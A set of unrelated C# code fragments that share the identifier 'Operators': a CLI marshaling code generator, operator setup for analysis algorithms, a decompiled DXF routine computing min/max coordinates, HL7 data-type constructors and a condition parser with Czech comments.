param.QualifiedType }; var marshal = new CLIMarshalNativeToManagedPrinter(ctx); param.Visit(marshal); if (!string.IsNullOrWhiteSpace(marshal.Context.SupportBefore)) { Write(marshal.Context.SupportBefore); } WriteLine("{0} = {1};", param.Name, marshal.Context.Return); } if (isValueType && !IsNativeFunctionOrStaticMethod(function)) { GenerateStructMarshaling(@class, valueMarshalName + "."); } if (needsReturn) { var retTypeName = retType.Visit(TypePrinter).ToString(); var isIntPtr = retTypeName.Contains("IntPtr"); if (retType.Type.IsPointer() && (isIntPtr || retTypeName.EndsWith("^", StringComparison.Ordinal))) { WriteLine("if ({0} == nullptr) return {1};", returnIdentifier, isIntPtr ? "System::IntPtr()" : "nullptr"); } var ctx = new MarshalContext(Context) { ArgName = returnIdentifier, ReturnVarName = returnIdentifier, ReturnType = retType }; var marshal = new CLIMarshalNativeToManagedPrinter(ctx); retType.Visit(marshal); if (!string.IsNullOrWhiteSpace(marshal.Context.SupportBefore)) { Write(marshal.Context.SupportBefore); } // Special case for indexer - needs to dereference if the internal // function is a pointer type and the property is not. if (retType.Type.IsPointer() && retType.Type.GetPointee().Equals(publicRetType) && publicRetType.IsPrimitiveType()) { WriteLine("return *({0});", marshal.Context.Return); } else if (retType.Type.IsReference() && publicRetType.IsReference()) { WriteLine("return ({0})({1});", publicRetType, marshal.Context.Return); } else { WriteLine("return {0};", marshal.Context.Return); } } }
private void InitializeOperators() { Operators.Add(new SymbolicDataAnalysisAlleleFrequencyAnalyzer()); ParameterizeOperators(); }
internal object FriendGetMinMaxCoords() { object dvarItems = RuntimeHelpers.GetObjectValue(hwpDxf_Functions.BkDXF_ValueCollectionToArray(mobjDictEntities.Values)); int num = Information.LBound((Array)dvarItems); int num2 = Information.UBound((Array)dvarItems); bool dblnFirst = default(bool); object dvarMaxCoordX = default(object); object dvarMaxCoordY = default(object); object dvarMinCoordX = default(object); object dvarMinCoordY = default(object); AcadSolid dobjObject = default(AcadSolid); for (int dlngIdx = num; dlngIdx <= num2; dlngIdx = checked (dlngIdx + 1)) { double ddblCurObjectID = Conversions.ToDouble(NewLateBinding.LateIndexGet(dvarItems, new object[1] { dlngIdx }, null)); AcadDatabase database = Database; AcadObject robjAcadObject = dobjObject; string nrstrErrMsg = ""; database.FriendObjectIdToObject(ddblCurObjectID, ref robjAcadObject, ref nrstrErrMsg); dobjObject = (AcadSolid)robjAcadObject; object dvarMinMaxCoords = RuntimeHelpers.GetObjectValue(dobjObject.MinMaxCoords); if (dvarMinMaxCoords == null) { continue; } if (!dblnFirst) { dvarMaxCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 0 }, null)); dvarMaxCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 1 }, null)); dvarMinCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 2 }, null)); dvarMinCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 3 }, null)); dblnFirst = true; continue; } if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 0 }, null), dvarMaxCoordX, TextCompare: false)) { dvarMaxCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 0 }, null)); } if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 1 }, null), dvarMaxCoordY, TextCompare: false)) { dvarMaxCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 1 }, null)); } if (Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 2 }, null), dvarMinCoordX, TextCompare: false)) { dvarMinCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 2 }, null)); } if (Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 3 }, null), dvarMinCoordY, TextCompare: false)) { dvarMinCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1] { 3 }, null)); } } object FriendGetMinMaxCoords = (!dblnFirst) ? null : new object[4] { dvarMaxCoordX, dvarMaxCoordY, dvarMinCoordX, dvarMinCoordY }; dobjObject = null; return(FriendGetMinMaxCoords); }
public MyOperatorOneForge() { Operators.Add(this); }
public static DoOperationAction DoOperation(Operators op) { return DoOperationAction.Make(op); }
private void InitializeOperators() { Operators.Add(new TrainingBestSolutionAnalyzer()); Operators.Add(new ValidationBestSolutionAnalyzer()); ParameterizeOperators(); }
public SXCM_REAL() { this.operatorField = Operators.I; }
public SXCM_TS() { this.operatorField = Operators.I; }
/// <summary> /// Zpracuje retezec na podminku /// </summary> /// <param name="string_condition">text podminky</param> /// <param name="columns">sloupce gridu, pro ktery plati podminka</param> public Condition(string string_condition, ColumnCollection columns) { this.left_value = null; this.right_value = null; this.compare_operator = Operators.not_equal; this.ParseString(string_condition, columns); }